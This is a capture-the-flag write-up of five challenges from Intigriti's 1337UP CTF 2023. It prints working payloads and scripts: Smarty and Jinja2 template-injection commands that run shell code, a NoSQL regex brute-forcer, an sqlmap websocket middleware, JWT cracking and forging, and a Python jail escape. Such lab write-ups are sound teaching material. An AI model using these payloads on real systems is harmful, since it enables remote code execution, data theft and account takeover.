Home Intigriti - 1337UP CTF 2023
Post
Cancel

Intigriti - 1337UP CTF 2023

A virtual CTF for the hacking community!

Intigriti proudly presents the second edition of the 1337UP LIVE CTF. This capture the flag event will have hackers fighting in teams of 6 in a Jeopardy-style event. The live CTF runs for 36 hours, from Friday November 17th @ 11:59am until Saturday November 18th @ 11:59pm (UTC).

Web - Smarty

Since you’re so smart then you should have no problem with this one 🤓

We get a website that is built with the template engine smarty and provides a regex filter, that tries to prevent server-side template injection payloads.

/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/

smarty-homepage

We also get access to the source code. In the source code, preg_match() is being used to apply the denylist to the user input.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
if(isset($_GET['source'])){
    highlight_file(__FILE__);
    die();
}

require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');

$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/';

if(!isset($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->display('index.tpl');
    exit();
}

// returns true if data is malicious
function check_data($data){
    global $pattern;
    return preg_match($pattern,$data);
}

if(check_data($_POST['data'])){
    $smarty->assign('pattern', $pattern);
    $smarty->assign('error', 'Malicious Inputs Detected');
    $smarty->display('index.tpl');
    exit();
}

$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);

When we try common smarty ssti payloads we get an error.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/2
Host: smartypants.ctf.intigriti.io
Content-Length: 22

data={$system.version}

-------------

HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 72

...
<div class="alert alert-danger" role="alert">
    <strong>ERROR:</strong> Malicious Inputs Detected
</div>
...

By performing a CRLF injection via adding %0a which is a newline we can bypass the regex.

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/2
Host: smartypants.ctf.intigriti.io
Content-Length: 33

data={system('cat /flag.txt')%0a}

-------------

HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 72

INTIGRITI{php_4nd_1ts_many_f00tgun5}INTIGRITI{php_4nd_1ts_many_f00tgun5}

Another solution could be to perform a regex Denial-of-Service attack via backtracking. This application uses preg_match() which has a limit of 1000000 characters (PREG_BACKTRACK_LIMIT=1000000). If we supply 1000000 or more characters the preg_match() will return False allowing the denylist to be bypassed.

Let’s generate 1000000 characters and copy it to our clipboard to add it to our request.

1
$ python3 -c "print(f'{\"A\" * 1000000}')" | xclip -selection clipboard
1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/2
Host: smartypants.ctf.intigriti.io
Content-Length: 1000032

data={system('cat /flag.txt')}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

-------------

HTTP/2 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1000073

INTIGRITI{php_4nd_1ts_many_f00tgun5}INTIGRITI{php_4nd_1ts_many_f00tgun5}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

Web - CTFC

I’m excited to share my minimal CTF platform with you all, take a look! btw it’s ImPAWSIBLE to solve all challenges 😺

We have access to a CTF platform.

ctfc-homepage

Upon logging in, we see two active challenges.

ctfc-challenges

By investigating the source code, it seems like the flag is stored in the environment os.environ['CHALL_FLAG'] in a record for an unfinished challenges in a NoSQL database.

1
2
3
4
def createChalls():
	db.challs.insert_one({"_id": "28c8edde3d61a0411511d3b1866f0636","challenge_name": "Crack It","category": "hash","challenge_description": "My friend sent me this random string `cc4d73605e19217bf2269a08d22d8ae2` can you identify what it is? , flag format: CTFC{<password>}","challenge_flag": "CTFC{cryptocat}","points": "500","released": "True"})
	db.challs.insert_one({"_id": "665f644e43731ff9db3d341da5c827e1","challenge_name": "MeoW sixty IV","category": "crypto","challenge_description": "hello everyoneeeeeeeee Q1RGQ3tuMHdfZzBfNF90aDNfcjM0TF9mbDRHfQ==, oops sorry my cat ran into my keyboard, and typed these random characters","challenge_flag": "CTFC{n0w_g0_4_th3_r34L_fl4G}","points": "1000","released": "True"})
	db.challs.insert_one({"_id": "38026ed22fc1a91d92b5d2ef93540f20","challenge_name": "ImPAWSIBLE","category": "web","challenge_description": "well, this challenge is not fully created yet, but we have the flag for it","challenge_flag": os.environ['CHALL_FLAG'],"points": "1500","released": "False"})

When trying to submit a flag, we see in the request with the id and flag parameter.

1
2
3
4
5
6
7
POST /submit_flag HTTP/2
Host: ctfc.ctf.intigriti.io

{
    "_id":"_id:1",
    "challenge_flag":"x"
}

Using regex and a wildcard we can exploit this as the regex matches we get back “correct flag!”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /submit_flag HTTP/2
Host: ctfc.ctf.intigriti.io

{
    "_id":"_id:3",
    "challenge_flag":{
		"$regex": "^INTIGRITI{"}
}

---------------

HTTP/2 200 OK
Content-Length: 13

correct flag!

We can write a script that brute-forces the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string

def send_request(data):
    url = "https://ctfc.ctf.intigriti.io/submit_flag"
    headers = {
        "Content-Type": "application/json",
        "Host": "ctfc.ctf.intigriti.io",
        "Cookie": "session=eyJ1c2VyIjp7Il9pZCI6ImNjNDU4Nzk4OGFhODRkM2NiNWMyM2QzMmQxMjRhZjliIiwidXNlcm5hbWUiOiJkZWNsIn19.ZV-JMA.w9jRr2zj9R6MKNyNq6mhYu5uPwk",
    }
    response = requests.post(url, json=data, headers=headers)
    return response.text

def find_challengedata():
    flag = "INTIGRITI{"
    # Create a string containing letters (lower and upper case), numbers, and the symbols: _-!{}
    flag_characters = string.ascii_letters + string.digits + "_-!{}"
    # Stop if we find the end character of the flag
    while '}' not in flag:
        for char in flag_characters:
            data = {
                "_id": "_id:3",
                "challenge_flag": {
                    "$regex": f"^{flag+char}"
                }
            }
            response_text = send_request(data)
            # Check the response for success
            if "correct flag!" in response_text:
                flag += char
                print(f"{flag}")

if __name__ == "__main__":
    find_challengedata()
1
2
3
4
5
6
7
8
9
10
11
$ python3 ctfc.py                                                                                
INTIGRITI{h
INTIGRITI{h0
INTIGRITI{h0w
INTIGRITI{h0w_
...
...
...
INTIGRITI{h0w_1s_7h4t_PAWSIBL
INTIGRITI{h0w_1s_7h4t_PAWSIBLE
INTIGRITI{h0w_1s_7h4t_PAWSIBLE}

Web - Pizza time

It’s pizza time!! 🍕

We get a pizza order website.

pizza-homepage

We can order pizzas, once we do our data gets printed on the site.

pizza-order

When we investigate the request we can try different server-side template injection payloads.

The normal payload gets blocked.

1
2
3
4
5
6
7
8
9
10
11
12
POST /order HTTP/2
Host: pizzatime.ctf.intigriti.io

customer_name={{7*7}}&pizza_name=Margherita&pizza_size=Small&topping=Mushrooms&sauce=Marinara

-------------

HTTP/2 200 OK
Content-Length: 35
Strict-Transport-Security: max-age=15724800; includeSubDomains

<p>Invalid characters detected!</p>

If we perform an CRLF injection attack and add %0d%0a which is a newline (\n\r), we can see that the payload went through.

In a CRLF injection vulnerability the attacker inserts both the carriage return and linefeed characters into user input to trick the server into thinking that an object is terminated and another one has started.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /order HTTP/2
Host: pizzatime.ctf.intigriti.io

customer_name=%0d%0a{{7*7}}
&pizza_name=Margherita&pizza_size=Medium&topping=Mushrooms&sauce=BBQ

-------------

HTTP/2 200 OK
Content-Length: 101
Strict-Transport-Security: max-age=15724800; includeSubDomains

 
<p>Thank you, 
49
! Your order has been placed. Final price is $11.92 </p>
            

By trying different payloads we find out that the templating engine is Jinja2 as {{config}} returns the configuration of this application.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /order HTTP/2
Host: pizzatime.ctf.intigriti.io

customer_name=%0d%0a{{config}}
&pizza_name=Margherita&pizza_size=Medium&topping=Mushrooms&sauce=BBQ

-------------

HTTP/2 200 OK
Content-Length: 101
Strict-Transport-Security: max-age=15724800; includeSubDomains

 
<p>Thank you, 
&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;SECRET_KEY&#39;: None, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: None, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: None, &#39;JSON_SORT_KEYS&#39;: None, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: None, &#39;JSONIFY_MIMETYPE&#39;: None, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093}&gt;
! Your order has been placed. Final price is $11.92 </p>         

Using a payload from hacktricks, we can execute commands and read the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /order HTTP/2
Host: pizzatime.ctf.intigriti.io

customer_name=%0d%0a{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat\x20/flag.txt').read()}}
&pizza_name=Margherita&pizza_size=Medium&topping=Mushrooms&sauce=BBQ

-------------

HTTP/2 200 OK
Content-Length: 137
Strict-Transport-Security: max-age=15724800; includeSubDomains

 
<p>Thank you, 
INTIGRITI{d1d_50m3b0dy_54y_p1zz4_71m3}
! Your order has been placed. Final price is $11.92 </p>
            

Web - Bug Report

I started my own bug bounty platform! The UI is in the early stages but we’ve already got plenty of submissions. I wonder why I keep getting emails about a “critical” vulnerability report though, I don’t see it anywhere on the system 😕

We have access to a bug bounty platform.

bugreport-homepage

We can input bug report IDs and we notice that some aren’t listed. When we input “11”, which isn’t shown on the page, we still get a message.

bugreport-idor

When we open up the browser console, a websocket address pops up.

bugreport-wss

From a machine called socket from HackTheBox , I remember there is a way to let sqlmap run on this endpoint to see if the id parameter is vulnerable to SQL injection attacks.

We first write a middleware script that will function as an middleware and provide an endpoint for sqlmap to run payloads against. We have to adjust the script from “socket” a bit:

  • adjusting the parameter to be id
  • adjusting the quotes on the payload
  • skipping negative payloads, as that causes sqlmap to freeze
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "wss://bountyrepo.ctf.intigriti.io/ws"

def send_ws(payload):
    ws = create_connection(ws_server)
    payload = unquote(payload).replace('"','\'')
    data = '{"id":"%s"}' % payload
    ws.send(data)
    resp = ws.recv()
    ws.close()

    if resp:
        return resp
    else:
        return ''

def middleware_server(host_port,content_type="text/plain"):

    class CustomHandler(SimpleHTTPRequestHandler):
        def do_GET(self) -> None:
            self.send_response(200)
            try:
                payload = urlparse(self.path).query.split('=',1)[1]
            except IndexError:
                payload = False
                
            if payload:
                if payload.startswith("-"):
                     content = "Skipped due to negative id"
                else:    
                    content = send_ws(payload)
            else:
                content = 'No parameters specified!'

            self.send_header("Content-type", content_type)
            self.end_headers()
            self.wfile.write(content.encode())
            return

    class _TCPServer(TCPServer):
        allow_reuse_address = True

    httpd = _TCPServer(host_port, CustomHandler)
    httpd.serve_forever()

print("[+] Starting Middleware Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
    middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
    pass

We can now start the middleware and run sqlmap against the new endpoint.

1
2
3
4
$ python3 ws_middleware.py
[+] Starting Middleware Server
[+] Send payloads in http://localhost:8081/?id=*

1
$ sqlmap -u "http://localhost:8081/?id=1" --batch --dump --threads 10

We can see the endpoint being hit.

1
2
3
4
5
6
7
8
9
$ python3 ws_middleware.py
[+] Starting Middleware Server
[+] Send payloads in http://localhost:8081/?id=*
127.0.0.1 - "GET /?id=1 HTTP/1.1" 200 -
127.0.0.1 - "GET /?id=3602 HTTP/1.1" 200 -
127.0.0.1 - "GET /?id=1%22.%28.%29%29.%2C%29%27 HTTP/1.1" 200 -
...
...
...

We find an interesting entry in the “bug_reports” table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[INFO] retrieved: crypt0:c4tz on /4dm1n_z0n3, really?!             
Database: <current>
Table: bug_reports
[11 entries]
+-------------------------------------------------------------------------------------------------+
| description                                                                                     |
+-------------------------------------------------------------------------------------------------+
| It is possible to bypass authentication by modifying the HTTP request.                          |
| The application does not properly sanitize input, leading to SQL injection.                     |
| A user can inject malicious code that will be executed by other users in their browsers.        |
| An attacker can crash the application by sending a specially crafted request.                   |
| Sensitive information is leaked in error messages returned by the application.                  |
| A user can access resources they are not authorized to view or modify.                          |
| The application uses weak or insecure cryptographic algorithms.                                 |
| Sensitive data is stored unencrypted or unprotected on the server or in transit.                |
| Session IDs are predictable or do not expire, allowing an attacker to hijack a session.         |
| The application does not properly enforce business logic rules, leading to fraudulent activity. |
| crypt0:c4tz on /4dm1n_z0n3, really?!                                                            |
+-------------------------------------------------------------------------------------------------+

We can go to the hidden endpoint and log in the with crypt0:c4tz credentials.

bugreport-endpoint

We need to be admin to see the flag.

bugreport-noadmin

We can look at the JWT token stored in the cookie. Investigating this JWT token, we can see that it uses the algorithm HS256 and contains a key identity with the value crypt0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ python3 /opt/jwt_tool/jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I 

Original JWT: 
                                                                                                              
=====================
Decoded Token Values:                                                                                         
=====================                                                                                         

Token header values:                                                                                          
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:                                                                                         
[+] identity = "crypt0"

----------------------                                                                                        
JWT common timestamps:                                                                                        
iat = IssuedAt                                                                                                
exp = Expires                                                                                                 
nbf = NotBefore                                                                                               
----------------------                                                                                        

To modify this token, we need to find the secret that is used to encrypt this token. We can use the -C option with -d to specify a wordlist.

1
2
3
4
5
6
7
8
                                                                                                              
$ python3 /opt/jwt_tool/jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I -C -d ~/wordlists/rockyou.txt 

Original JWT: 
                                                                                                              
[+] catsarethebest is the CORRECT key!
You can tamper/fuzz the token contents (-T/-I) and sign it using:
python3 jwt_tool.py [options here] -S hs256 -p "catsarethebest"                                               

Now that we have the secret, we can modify the token and re-sign it to have a valid JWT token with the identity key set to admin. To do this we need to use the:

  • -S option to supply the algorithm, the tool needs to sign the token with
  • -p to supply the secret
  • -I to “inject” a key and value
    • pc to supply the key
    • pv to supply the value
1
2
3
4
5
$ python3 /opt/jwt_tool/jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImNyeXB0MCJ9.zbwLInZCdG8Le5iH1fb5GHB5OM4bYOm8d5gZ2AbEu_I -S hs256 -p "catsarethebest" -I -pc "identity" -pv "admin"
Original JWT: 
                                                                                                              
jwttool_ee53b9570976d0e9dbf2f57d31c41ada - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZGVudGl0eSI6ImFkbWluIn0.3xH8a2FskQJ3afYZeJCtwln4CRrwh4nidEy7S6fJoA0  

With that newly generated token, we can replace the cookie in the browser and refresh and we can see the flag.

bugreport-flag

Misc - PyJail

We get the source code. It’s a pretty restrictive environment as a lot of things are being blocked:

  • Numbers and special characters: 0123456789[]\"\'._
  • Methods: "os","system","eval","exec","input","open"
  • import

Mst common escapes don’t work are excluded by this denylist. Additionally, the code is being normalised so unicode escapes won’t work either.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import ast
import unicodedata

blacklist = "0123456789[]\"\'._"
check = lambda x: any(w in blacklist for w in x)

def normalize_code(code):
    return unicodedata.normalize('NFKC', code)

def execute_code(code):
    try:
        normalized_code = normalize_code(code)
        parsed = ast.parse(code)
        for node in ast.walk(parsed):
            if isinstance(node, ast.Call):
                if isinstance(node.func, ast.Name):
                    if node.func.id in ("os","system","eval","exec","input","open"):
                        return "Access denied!"
            elif isinstance(node, ast.Import):
                return "No imports for you!"
        if check(code):
            return "Hey, no hacking!"
        else:
            return exec(normalized_code, {}, {})
    except Exception as e:
        return str(e)

if __name__ == "__main__":
    while True:
        user_code = input(">> ")
        if user_code.lower() == 'quit':
            break
        result = execute_code(user_code)
        print("Result:", result)

One escape that seemed to have worked is using breakpoint(). This built-in method drops the debugger in interactive mode after calling it. This causes the Python program to pause and allowing us to call a system command that reads the flag.

1
2
3
4
5
6
7
$ nc jail.ctf.intigriti.io 1337
>> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) __import__('os').system('cat /flag.txt')
INTIGRITI{Br4ak_br4ak_Br34kp01nt_ftw}0
(Pdb) 
This post is licensed under CC BY 4.0 by the author.